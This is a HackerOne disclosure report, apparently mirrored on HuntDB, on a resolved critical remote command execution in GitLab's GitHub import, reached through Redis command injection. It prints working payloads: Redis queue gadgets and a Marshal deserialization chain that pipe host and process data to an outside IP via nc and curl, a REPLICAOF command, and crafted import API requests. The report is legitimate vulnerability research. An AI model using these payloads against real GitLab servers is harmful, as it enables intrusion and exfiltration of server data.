Loading HuntDB...

RCE via github import

Critical
G
GitLab
Submitted None
Reported by yvvdwf

Vulnerability Details

Technical details and impact analysis

OS Command Injection
Hello, While continuing mining on [github import](https://hackerone.com/reports/1665658), I found a vulnerability on gitlab.com allowing to execute remotely arbitrary commands. Gitlab uses Octokit to get data from github.com. Octokit uses [Sawyer::Resource](https://github.com/lostisland/sawyer/blob/master/lib/sawyer/resource.rb) to represent results. Sawyer is a crazy class that [converts](https://github.com/lostisland/sawyer/blob/f5f080d5c5260e094069139ffc7c13d0acba4ab5/lib/sawyer/resource.rb#L81) a hash to an object whose methods are based on the hash's key: ```ruby irb(main):641:0> Sawyer::VERSION => "0.8.2" irb(main):642:0> a = Sawyer::Resource.new( Sawyer::Agent.new(""), to_s: "example", length: 1) => {:to_s=>"example", :length=>1} ... irb(main):643:0> a.to_s => "example" irb(main):644:0> a.length => 1 ``` Gitlab uses directly the responded Sawyer object in few functions, such as, the `id` variable in [this function](https://gitlab.com/gitlab-org/gitlab/-/blob/99f5db917a33ad9466f35918a1da454ed397be8e/lib/gitlab/github_import/parallel_scheduling.rb#L145): ```ruby def already_imported?(object) id = id_for_already_imported_cache(object) Gitlab::Cache::Import::Caching.set_includes?(already_imported_cache_key, id) end ``` Normally, `id` should be a number. However when `id` is `{"to_s": {"bytesize": 2, "to_s": "1234REDIS_COMMANDS" }}`, we can inject additional redis commands by using `bytesize` to limit the previous command when it [is constructed](https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L8) (although the `bytesize` is `2` we need to reserve 4 bytes as 2 additional bytes for CLRF): ```ruby def build_command(args) command = [nil] args.each do |i| if i.is_a? Array i.each do |j| j = j.to_s command << "$#{j.bytesize}" command << j end else i = i.to_s command << "$#{i.bytesize}" command << i end end ``` As we can execute any redis commands, we can escalate to execute any Bash command by using an existing gadget, for example: ``` lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| (hostname; ps aux) | nc 51.75.74.52 11211 \').read\"],"queue\":\"system_hook_push\"}" ``` I tested this redis command first on my own gitlab instance and it worked. I then tested on gitlab.com but got nothing. I tried another by replacing basically `nc` by `curl` but no luck: ``` lpush resque:gitlab:queue:system_hook_push "{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|(hostname; ps aux) | curl 51.75.74.52:11211 -X POST --data-binary @- ')\"], \"queue\":\"system_hook_push\"}" ``` Although the gadget above works well on my local instance but gitlab SaaS which may be protected somehow or used another redis namespace for Sidekiq, even another redis instance. So I used then the basic redis command `REPLICAOF 51.75.74.52 11211\n\n` to test gitlab.com and I got a ping from your redis server to my server `nc -vlkp 11211`: {F1871024} This means that I have the full control on the redis. After seeing the pings, I immediately turned off the replication by executing the redis command `REPLICAOF no one\n\n`. No information from your redis server has been replicated to mine as I used `nc` and I got only the `ping` messages. By checking on my local instance at `/var/opt/gitlab/redis/redis.conf`, I see that only `keys` command is disable. I did not try `FLUSHALL` to write data to file as it is too dangerous. As gitlab uses redis as a cache storage, so I tried to reach RCE via `Marshal.dump` method. I tested the following payload on gitlab.com to poison the avatar of my project via the key `cache:gitlab:avatar:yvvdwf/xss:16210710`: ``` \r\n*3\r\n$3\r\nset\r\n$39\r\ncache:gitlab:avatar:yvvdwf/xss:16210710\r\n$347\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\u0006a\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\".(hostname; ps aux) | nc 51.75.74.52 11211\u0006;\fT;\u0012:\fresolve\r\n\r\n ``` Although I did not get RCE but it seems working as I got `500` error code when trying to access to my project. And now I cannot access to my project via web interface. I think I should stop testing to avoid any further potential incidences. I did all the tests above on gitlab.com on 16-17 August 2022 from IP `51.75.74.52` {F1871025} # Steps to reproduce The steps to reproduce should be the same as this [one](https://hackerone.com/reports/1665658) The following steps are to reproduce on a local gitlab instance whose domain is `http://gitlab.example.com`: # Step to reproduce To reproduce, we need the following prerequisite: - A VM/machine to host the dummy server with an public IP though that gitlab.example.com can access to (or you can configure your gitlab instance to allow to access to local networks) - I created the dummy server using nodejs, so you need to have also nodejs on the machine - A Gitlab personal access token. Go to http://gitlab.example.com/-/profile/personal_access_tokens?scopes=api to create a new token with within `api` scope. # Step 1: run the dummy server - Copy the attachment file on your machine and decompress it to any folder, e.g., `/tmp/dummy-server` - *Modify the attack payload* as you need inside `redis_command.txt` file, the default value is to execute the command `(hostname; ps aux) > /tmp/ahihi`: ``` lpush resque:gitlab:queue:system_hook_push "{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|(hostname; ps aux) > /tmp/ahihi ')\"], \"queue\":\"system_hook_push\"}" ``` - Go to `/tmp/dummy-server` then run this command: `node ./index.js YOUR_IP YOUR_PORT` in which, you should replace `IP` and `PORT` with the one you have. For example, `sudo node index.js 51.75.74.52 80` # Step 2: trigger Gitlab import - Open a new terminal, then run the following command, in which: + `YOUR_IP` and `YOUR_PORT` are the values in the previous step + `YOUR_GITLAB_TOKEN` is the api token you've created in the pre-requirement + `YOUR_GITLAB_USERNAME` is the target namespace you want to import the project to. It can be your username, or a group name ```bash curl -kv "http://gitlab.example.com/api/v4/import/github" \ --request POST \ --header "content-type: application/json" \ --header "PRIVATE-TOKEN: YOUR_GITLAB_TOKEN" \ --data '{ "personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "repo_id": "356289002", "target_namespace": "YOUR_GITLAB_USERNAME", "new_name": "poc-rce", "github_hostname": "http://YOUR_IP:YOUR_PORT" }' ``` For example: ```bash curl "http://gitlab.example.com/api/v4/import/github" \ --request POST \ --header "content-type: application/json" \ --header "PRIVATE-TOKEN: 3LCvKWXVF-Gadcnbxxxx" \ --data '{ "personal_access_token": "xxxxx", "repo_id": "356289002", "target_namespace": "root", "new_name": "NEW-NAME-'$(date +%s)'", "github_hostname": "http://ns.yvvdwf.me:80" }' ``` - View the result in `/etc/ahihi` ## Impact Any one the the ability to call `api/v4/import/github` endpoint could achieve RCE via a specially crafted responses

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

OS Command Injection